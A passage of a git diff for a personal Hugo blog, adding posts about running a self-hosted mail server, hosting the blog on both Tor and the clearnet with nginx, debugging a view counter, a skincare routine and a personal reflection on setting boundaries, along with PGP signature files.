user connect. + +I briefly had two `Socket` lines in `opendkim.conf`. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: `DKIM-Signature field added`. Instant serotonin. + +When `opendkim-testkey` says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently. + +--- + +## The Matrix certificate heist (that wasn’t a heist) + +Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting `mail.…` and found **`matrix.alipourimjourneys.ir`** smiling back. + +No attacker. No cosmic joke from Let’s Encrypt. Just nginx. + +When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no `server_name` matches, nginx shrugs and uses the **default** server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible. + +Later I repeated a sibling mistake with `webmail.`: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting `https://webmail.…` still fell through to the default server and received Matrix’s cert again. Same villain, new episode. + +The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize. + +--- + +## From Linux users to real mailboxes + +The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal. + +So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under `/var/vmail/...` owned by a dedicated `vmail` user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP. + +Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street. + +One setting decides whether this feels cursed or calm: `mydestination`. + +That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is `mail.alipourimjourneys.ir` and you also leave that name in `mydestination`, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set `mydestination` to localhost and let the mail domain be virtual. Suddenly the model matched reality. + +PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.” + +One more client quirk: some apps send only `ialipour` as the username. The database stores `ialipour@mail.…`. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or `local-part@mail.alipourimjourneys.ir` did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private. + +--- + +## Webmail without losing the plot + +Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres. + +I flirted with serving it under a path like `/webmail` on the main mail hostname while also serving it at the root of `webmail.…`. Roundcube has opinions about its base path. If you tell it “you live under `/webmail`” and then put it at `/` on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates. + +The calm ending: Roundcube lives at `https://webmail.alipourimjourneys.ir/` as the site root. The portal links there. Path experiments go in the diary under “character development.” + +--- + +## The bounce emails that taught me about identity + +After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail `root`. My system identity still thought the local domain was `mail.alipourimjourneys.ir`, so `root` became `root@mail.alipourimjourneys.ir`. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house. + +The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased `root` to my real virtual address so necessary noise still reaches a human. `myhostname` can still announce itself as `mail.…` on the SMTP banner. Different knobs, different jobs. + +Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving `vmail` ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior. + +And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in `/var/log/mail.log` so repeated guessing gets a timeout instead of an unlimited hobby. + +--- + +## What “done” means for me + +For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at `mail.alipourimjourneys.ir`, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands. + +Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.” + +If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on. + +--- + +### Links + +- Portal: [mail.alipourimjourneys.ir](https://mail.alipourimjourneys.ir) +- Webmail: [webmail.alipourimjourneys.ir](https://webmail.alipourimjourneys.ir) +- Admin: [mailadmin.alipourimjourneys.ir](https://mailadmin.alipourimjourneys.ir) + + +--- + +{{< sigdl >}} diff --git a/content/posts/setting_boundries.md b/content/posts/setting_boundries.md new file mode 100644 index 0000000..fa712d8 --- /dev/null +++ b/content/posts/setting_boundries.md @@ -0,0 +1,28 @@ ++++ +title = 'Setting Boundries' +date = 2025-12-04T14:38:36Z +draft = false ++++ + +I was watching [this video](https://www.youtube.com/watch?v=MQzDMkeSzpw) the other day. It's an interesting video imo. This is something I've been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me? + +Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other's respect. Naturally that evolved into me becoming a people please. A so called "nice person". I've even been made fun of with those words. + +All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I'm broken. When people act cold with me, I assume they don't like me. Then I want to fix things. Then I become annoying. I look like an "anxiously attached" person. + +But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It's sad, and it's eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please. + +So... I made a decision. To stay away from everyone. To make distance. + +The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don't want to lose. But it's part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place? + +The part I'm making mistake in is that everyone thinks something bad has happened. And they "probably" expect me to talk to them about it. Now this is the part I had to work on. The "setting boundry" part. I don't know if I can do it respectfully or not. I know I will break if I talk. + +I don't really like to stay away from people, to push my friends away. But for now, I have to. I hope I won't regret any of these actions. I hope I can heal. I don't know what will happen next, I just know that I don't want to hangout in large groups for a while. I don't want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won't turn into an incel. I know I won't. I know I push through. I know... + + + + +--- + +{{< sigdl >}} diff --git a/content/posts/skin_routine.asc b/content/posts/skin_routine.asc new file mode 100644 index 0000000..637a3a9 --- /dev/null +++ b/content/posts/skin_routine.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qeFwP/RiFuFOZKLFhrUZCc9t51Kb6 +oa6N/m/jdiRz7fnD9VyU93+iSKXB+pUXqR8cMP62orWs7yp6oJWK6zOAKRydswYY +eFo1g44bTmrhNPZ+rI1A7U/GAZ4qjnDyEy0EbkDPkBdybWBIwubdskDgvYb/fu01 +7BQIkHjtrDus1J93hLE6JVLb7HUC8z980rNRQ+IdgyDTt0EhqCIbqgE8+C/+k/Km +7Oi4Fbgtj8QzRX0hEBZv2aQjM+EVkusDty6XjEGvOJ9LDNo5vLYyFu0SGImNDTSl +fPnqThrU7XyIzL8Z4P6R2JKrE189BoPKmrCIDhRsONnuwnB5NjQcoRzh34fNEs5h +6uYXz4K9aZ1xIIbxr53jfgpxbWVhucolnyEHxn4BFfsCwfrWBId+otwsctvkuvVf +vxFilGDMqNXEIg4TC2h827y1yrgBIA8iQQE/Nj6du0z9NZkF/6V1jywzQ/69HP8S +Dkh3R75SoGNzkCEIJltKUZYm1CuZuUdVMX9vAKVJGnAyBdwlbj2MwxGkNkaFNRMu +DW4kFSL1ofgjU5iAIMr6L37YSDrQ9WhMYUMeScKQ/uJPq/W9P3ZQVcxkCiC0NK2a +6MIv9aNBobDksb5LwZRwBWCxyNu0JsnXinUWxpg/trcr/8Ekzf6Rpq89t1lghypX +pkjH8Z2Tnpb2mnWfv/7Q +=lUt/ +-----END PGP SIGNATURE----- diff --git a/content/posts/skin_routine.md b/content/posts/skin_routine.md new file mode 100644 index 0000000..0e4f421 --- /dev/null +++ b/content/posts/skin_routine.md @@ -0,0 +1,74 @@ ++++ +title = 'Skin routine' +date = 2025-10-20T18:47:04Z +draft = false +description = "My skin routine!" ++++ + + +I don't know how to answer the "why?" or "whyyyyy?" or even "why the f\*\*\*?" I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, "Knock on wood, you have good skin!". +So... idk why I decided to take extra care of my skin, but I did! + +Generally speaking, things like this make me feel good about myself. +Like I'm doing something positive while not being tortured! +It's always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice! + +Oh... and yeah, idk why I'm not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me. + +So... I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to "Jack Black Pure Clean Daily Facial Cleanser" after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don't need to use the cleanser in the morning, but you should definitely use it at night. +It's ok to wash your face with water in the morning. + +The next step for me is applying the toner. +I use "NIVEA Derma Skin Clear Toner". +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here. + +After this, I apply an exfoliant to exfoliate my skin. +I've been using "Paula's Choice Skin Perfecting 2% BHA Liquid Exfoliant" so far, but this time I got "BULLDOG Original Exfoliating Face Scrub for Purer Skin". +Haven't used it yet, but Paula's choice one is definitely good. +The thing with it is that you don't have to massage it; it's not physical; it's an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I'll see how I like the new one, and if I prefer it or not. +No rinsing is required here either. + +I then apply my eye cream, which is also from CeraVe. +Haven't really seen much of a difference under my eyes, but it is supposed to help. +I don't know! It feels good to apply the eye cream regardless. + +The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I've watched Mortuary Assisant's gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use "Neutrogena Hydro Boost Aqua Gel Moisturiser". +As a man, if you use oil-based products, you'll get acne. +So don't. + +I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^ + +And... last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection. + +Even if it does nothing, it still makes me feel good about myself. + +The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning! + +--- + +{{< sigdl >}} diff --git a/content/posts/tor_clearnet_blog.asc b/content/posts/tor_clearnet_blog.asc new file mode 100644 index 0000000..034995a --- /dev/null +++ b/content/posts/tor_clearnet_blog.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qEycP/i2+eo0HI83v/HRkUACefGHL +0EkHQTMPSYAeff8l+cUr86zDXvAws6tfT2PNx0+ZGqG0kbjk81pgIXlKnYL7gzci +vTpasvLCoXjfEkFT2cco8wOBZ3RtzmWTzefTbxgVbtbu/j3/bOzoc0QbKDfPdgTM +0wvGq62chbyBMbVwn/sMdYauhYShCKjzyCNA8n4IKYW17fOi/m64f/QsGAJRT590 +OJ+eTb9RznJnAuRpwvvz8Lk6rqFN79udzHSmRSeShiSWKBa6yqUoJDBIEQ4iYNTy +eIvDNWsfoOXbYX6TubtA4u77B8pBdFx9eSIaeaANaSqyyM2FUV3p6tyzRAySLR0U +wHrQ4ZID46gHLY1S7+Avj72/J83UF3DajJ7rRWb2hkHpFAKhk9i0h02ykNeS41ZM +tRtSt+OqJwJuqxzo4bPHN054CDsydrHnUtckZx155T+oQW6YvUxWDY5/Yp/njnzz +UQuIpxUGt1Zxv499z4VnAusFKzFxoi7rq7IQRYZboo8ObHhQCI6XtvI3vtqN5NDx +2yjlkuK5RP2pyYAg6ha7Vcp3sxnRVwSSTBtFDjUeXteGpYj9EnNVuwR281z0EjT+ +yS+1sdIH3AkXJs550sAkRsaI3xLMQzAL8ApKSkkrEvTAxvgtzwmGojb8dlCztFPj +enzV9K/nDUbn9douKgCY +=gPUD +-----END PGP SIGNATURE----- diff --git a/content/posts/tor_clearnet_blog.md b/content/posts/tor_clearnet_blog.md new file mode 100644 index 0000000..f3d04bd --- /dev/null +++ b/content/posts/tor_clearnet_blog.md @@ -0,0 +1,290 @@ +--- +title: "Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod" +date: 2025-09-19 +tags: ["tor", "nginx", "hugo", "papermod", "cloudflare", "letsencrypt"] +categories: ["DevOps", "Notes"] +description: "How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy." +draft: false +ShowToc: true +TocOpen: true +--- + +> TL;DR — The site is built once (Hugo project), **published twice**: +> - **Onion**: `http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/` via Tor, no TLS/HSTS, bound to `127.0.0.1:3301`. +> - **Clearnet**: `https://blog.alipourimjourneys.ir` behind Cloudflare, Let’s Encrypt cert, `Onion-Location` header pointing to the onion mirror. + +--- + +## 1) Tor hidden service (onion) basics + +I used Tor’s v3 onion services and mapped onion port 80 → my local web server on `127.0.0.1:3301`. + +**Install & configure Tor (Debian/Ubuntu):** +```bash +sudo apt update && sudo apt install -y tor +sudoedit /etc/tor/torrc +``` + +Add: +``` +HiddenServiceDir /var/lib/tor/hidden_site/ +HiddenServicePort 80 127.0.0.1:3301 +``` + +Make sure the directory is owned by Tor’s user and private: +```bash +sudo mkdir -p /var/lib/tor/hidden_site +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site +sudo chmod 700 /var/lib/tor/hidden_site +``` + +**Important:** use the right systemd unit: +```bash +# validate as the Tor user +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config + +# (re)start the real service +sudo systemctl enable --now tor@default +sudo systemctl restart tor@default +``` + +Get the onion address: +```bash +sudo cat /var/lib/tor/hidden_site/hostname +``` + +Quick check (do remote DNS via SOCKS): +```bash +curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)" +``` + +--- + +## 2) Nginx for the onion (localhost-only) + +I keep the onion site strictly on localhost: **no HTTPS, no redirects, no HSTS**. Tor already provides e2e encryption and authenticity. + +`/etc/nginx/sites-available/onion-blog`: +```nginx +server { + listen 127.0.0.1:3301 default_server; + server_name .onion 127.0.0.1 localhost; + + # keep onion simple; no HSTS/redirects here + add_header Referrer-Policy no-referrer always; + add_header X-Content-Type-Options nosniff always; + add_header X-Frame-Options SAMEORIGIN always; + # (optional) strict CSP so nothing leaks to clearnet + # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always; + + root /srv/hugo/mysite/public-onion; + index index.html; + + location / { try_files $uri $uri/ /index.html; } + location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { + access_log off; + add_header Cache-Control "public, max-age=31536000, immutable"; + try_files $uri =404; + } +} +``` + +Enable/reload: +```bash +sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog +sudo nginx -t && sudo systemctl reload nginx +``` + +> Gotcha I hit: I had **two** server blocks on `127.0.0.1:3301`, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it `default_server`). Also, if you ever use a regex in `server_name`, the syntax is `server_name ~* \.onion$` (note the space after `~*`). + +--- + +## 3) Hugo + PaperMod setup (and version bumps) + +PaperMod now requires **Hugo Extended ≥ 0.146.0**. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read `/srv` paths by default). + +```bash +# install Hugo extended (example) +VER=0.146.0 +cd /tmp +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz +sudo mv hugo /usr/local/bin/hugo +hugo version # should say "extended" and >= 0.146.0 +``` + +Create the site and theme: +```bash +sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo +cd /srv/hugo +hugo new site mysite +cd mysite +git init +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod +``` + +**Config updates:** in newer Hugo, `paginate` is deprecated → use: +```toml +# config/_default/hugo.toml +title = "My Blog" +theme = "PaperMod" +enableRobotsTXT = true + +[pagination] + pagerSize = 10 + +[params] + defaultTheme = "auto" + showReadingTime = true + showPostNavLinks = true + showBreadCrumbs = true + showCodeCopyButtons = true +``` + +I added per-environment overrides so I can build two outputs with different `baseURL`s: + +```toml +# config/clearnet/hugo.toml +baseURL = "https://blog.alipourimjourneys.ir/" + +# config/onion/hugo.toml +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/" +``` + +--- + +## 4) Dual builds (clearnet + onion) and one-command deploy + +I publish the same content twice—once for each base URL and docroot: + +```bash +cd /srv/hugo/mysite +# clearnet build (served over HTTPS) +hugo --minify --environment clearnet -d public-clearnet +# onion build (served via Tor) +hugo --minify --environment onion -d public-onion +sudo systemctl reload nginx +``` + +Helper script I use: +```bash +sudo tee /usr/local/bin/build-both >/dev/null <<'EOF' +#!/usr/bin/env bash +set -euo pipefail +cd /srv/hugo/mysite +hugo --minify --environment clearnet -d public-clearnet +hugo --minify --environment onion -d public-onion +sudo systemctl reload nginx +echo "Deployed both at $(date)" +EOF +sudo chmod +x /usr/local/bin/build-both +``` + +While editing, I sometimes auto-rebuild on file save: +```bash +sudo apt install -y entr +cd /srv/hugo/mysite +find content layouts assets static config -type f | entr -r build-both +``` + +--- + +## 5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01) + +Cloudflare is set to **Full (strict)**. I issued a public cert for `blog.alipourimjourneys.ir` using **manual DNS-01** (no API token): + +```bash +sudo snap install --classic certbot +sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email +``` + +Certbot tells you to add a TXT record `_acme-challenge.blog.alipourimjourneys.ir`. Add it in Cloudflare DNS, verify with `dig`, then continue. Cert ends up at: +``` +/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem +``` + +Clearnet Nginx vhosts: + +```nginx +# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway) +server { + listen 80; listen [::]:80; + server_name blog.alipourimjourneys.ir; + return 301 https://blog.alipourimjourneys.ir$request_uri; +} + +# HTTPS origin (behind Cloudflare) +server { + listen 443 ssl http2; listen [::]:443 ssl http2; + server_name blog.alipourimjourneys.ir; + + ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem; + + # HSTS on clearnet only + add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; + + # Help Tor Browser discover the onion mirror (safe on clearnet) + add_header Onion-Location "http://.onion$request_uri" always; + + root /srv/hugo/mysite/public-clearnet; + index index.html; + + location / { try_files $uri $uri/ /index.html; } +} +``` + +> Note: don’t add HSTS or HTTPS redirects to the **onion** vhost. Keep onion pure HTTP on localhost. + +--- + +## 6) Troubleshooting I ran into (and fixes) + +- **Tor unit confusion:** `tor.service` is a tiny master; the real daemon is `tor@default`. Use that unit and verify config as `debian-tor`. +- **Permissions:** `HiddenServiceDir` must be owned by `debian-tor` and mode `700`. +- **Mapping mismatch:** If `HiddenServicePort 80 127.0.0.1:3301` is set, visit `http:///` (no `:3301`). If you set `HiddenServicePort 3301 127.0.0.1:3301`, you must use `http://:3301/`. +- **Curl & .onion:** modern curl refuses `.onion` unless you use remote DNS via SOCKS: + ```bash + curl -I --socks5-hostname 127.0.0.1:9050 "http:///" + ``` +- **Two Nginx vhosts on the same port:** I had a duplicate server on `127.0.0.1:3301` pointing somewhere else, which caused onion 404s. Keep only one (or mark one `default_server`). +- **Regex in `server_name`:** if you use it, write `server_name ~* \.onion$` (space after `~*`). I fixed an `invalid variable name` error caused by a missing space. +- **PaperMod with old Hugo:** upgraded to **extended ≥ 0.146.0**. Also updated `paginate` → `[pagination].pagerSize`. +- **Snap confinement:** Snap’s `hugo` couldn’t read `/srv` (`.../void: permission denied`). Switched to the tarball build in `/usr/local/bin`. + +--- + +## 7) “Not secure” in Tor Browser? + +That message can appear because onion uses **HTTP**. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference **clearnet** resources (scan the built HTML for `http(s)://` links that aren’t your onion). + +--- + +## 8) Day-to-day workflow + +- Create content: + ```bash + hugo new posts/my-first-post.md # then set draft: false + ``` +- Publish both: + ```bash + build-both + ``` +- (Optional) Auto on save: + ```bash + find content layouts assets static config -type f | entr -r build-both + ``` +- (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs `build-both`. + +--- + +## Final notes + +- Clearnet gets **HTTPS + HSTS** and an `Onion-Location` header. +- Onion gets **no HSTS/redirects**, and all assets are self-hosted to avoid mixed content. +- Serving both worlds from one Hugo repo is easy: **two builds, two vhosts, one workflow**. + +--- + +{{< sigdl >}} diff --git a/content/posts/view_count.asc b/content/posts/view_count.asc new file mode 100644 index 0000000..d36a196 --- /dev/null +++ b/content/posts/view_count.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qZ0YQALKtL3KlVh0wBomD2nQ/2qnY +uV6OAGJ1nREjONc6TSHHaC7bPCwpRhyaYWpcAgcW1Si7A+Q6s3ocaHgGBd0rGCVV +96r12uq96bGX5uNtlyjCoTuJm+p6nq3pL/TWmjnxH9OKYSmFe3U4TTQtrlTc0B5t +BGbth8H7TtRVyXekQ2HD8pfLsDhmZQZr44EcMYcMjqAj9n/QHptDPghrPufeXM/e +OdOOftYJ4SjLVEDf2aJUzugmzWVG2W23XE3PMIixNXuvfOPJD1twRv+0dIo8+L9L +P4yS7DRxUnwjZpyTHOdoO95iI0eM1czOI5sf5+KcPJE4FMHfupVeAVhX70wzZfyO +ce9C8qbeJgtrm3Wd+K2EcqQpyguefXTcOA03WRW1fWej/FBykZ87TWsBkz3qixpV +pFX7xfpKNVqrSDEV2/3UhJjt5nY9rDKenwoBCChwc3JKWuIr/qmAKy4wEInywwY8 +gBnVmr/te2yn8lthVuDRkHvDmtnD+lIpHyRhFuGXiW1ny55Sk/UFF0fTqT7vIsa0 +lfbgcAO8IIZPpIN/KVpbYk4FUOU4xYwwKpA7mGrgj7Fy0oOZSlSqaQkSdYGjwRLk +j9X2blNsl5c+VHJkyGudAJl4iALB71gslhSgmyPTaFBQm9iAFGOLp1uR8p5tPYSz +c4TOiuBGZ0yYTcJRnwZC +=y9O1 +-----END PGP SIGNATURE----- diff --git a/content/posts/view_count.md b/content/posts/view_count.md new file mode 100644 index 0000000..0ab5416 --- /dev/null +++ b/content/posts/view_count.md @@ -0,0 +1,400 @@ +--- +title: "A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)" +date: 2025-10-18T10:45:00 +slug: papermod-views-debugging-story +summary: "I tried to add a simple 'views' counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix." +tags: ["Hugo", "PaperMod", "Analytics", "Debugging", "Busuanzi", "Vercount", "GoatCounter"] +categories: ["Stories"] +draft: false +--- + +I only wanted a tiny **“views”** badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day. + +The thing is, I don't think the counter even works correctly. +Or maybe I'm undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I've been counting days for. + + +### The neat footer row + +First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side: + +```html +
+ + { partial "svg.html" (dict "name" "rss") } + RSS + + + + + + Site views: + + + + Visitors: + +
+``` + +So far, so good. The labels showed up. The numbers, though? **Nothing.** Just an em dash. I shrugged—maybe it was a caching thing. + +### The first round of checks + +I added the script site‑wide in `layouts/partials/extend_head.html`: + +```html + +``` + +Refreshed. Still blank. + +**DevTools time.** Network tab: the script **does** load: +- **Request URL:** `https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js` +- **Request Method:** GET +- **Status Code:** 304 Not Modified +- **Referrer Policy:** strict-origin-when-cross-origin +- **User-Agent:** a normal Chromium build (nothing exotic) + +No red flags. Just a perfectly normal 304. + +Maybe my IDs were wrong? Busuanzi has a couple of flavors: `busuanzi_value_*` (with container wrappers) or shorthand like `busuanzi_site_pv`. I tried **both**, carefully, one at a time. Still… **—**. + +### The odd message + +Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right: + +> **“域名过长,已被禁用 views”** + +That’s “domain name too long, disabled.” Wait, what? + +I checked my hostname: **`blog.alipourimjourneys.ir`**. I counted: **27 characters**. Busuanzi’s limit? **22.** Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill. + +### Two ways out + +At this point I had two clean options: + +1. **Keep Busuanzi** and move the site to the **apex domain** (short enough). +2. Keep my beloved `blog.` subdomain and swap in **Vercount**, a Busuanzi‑style drop‑in without the 22‑char limit. + +I liked the subdomain (habit, mostly), so I tried **Vercount**. + +### The swap (five-minute fix) + +I removed the Busuanzi script and added Vercount instead: + +```html + + +``` + +I kept the same tidy footer row, but switched the IDs to Vercount’s: + +```html +
+ + { partial "svg.html" (dict "name" "rss") } + RSS + + + + + Site views: + + Visitors: +
+``` + +For per‑post counts (in the post meta), I added: + +```html + views +``` + +Deploy. Refresh. **Numbers.** + +### But if you want to stay with Busuanzi… + +If your apex domain is short enough, pointing the site there works fine. The gist: + +- Set `baseURL` in Hugo to the apex: + + ```toml + baseURL = "https://alipourimjourneys.ir/" + ``` + +- Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool). +- Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate. + +### Post‑mortem checklist (a.k.a. things I learned) + +- **If the script loads but you get blanks**, it’s not always IDs or caching. Sometimes it’s a **service rule**. +- **Busuanzi refuses long hostnames** (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note. +- **Don’t mix providers** on the same page. Load exactly one script (Busuanzi *or* Vercount). +- **CSP and blockers matter.** If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin. + +### Happy ending + +Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles. + +If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of. + +### Final notes +Yea... I just felt this feature was missing, and it's good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I've spent too much time on it, and it feels like wasted time. + + +--- + + +## Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion) + +This is the **self‑host** part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my `.onion` mirror counting to the same GoatCounter site. Paste this whole section at the end of the post. + +--- + +### 1) Clean up old counters (optional, once) +```bash +# From your Hugo site root +grep -RinE 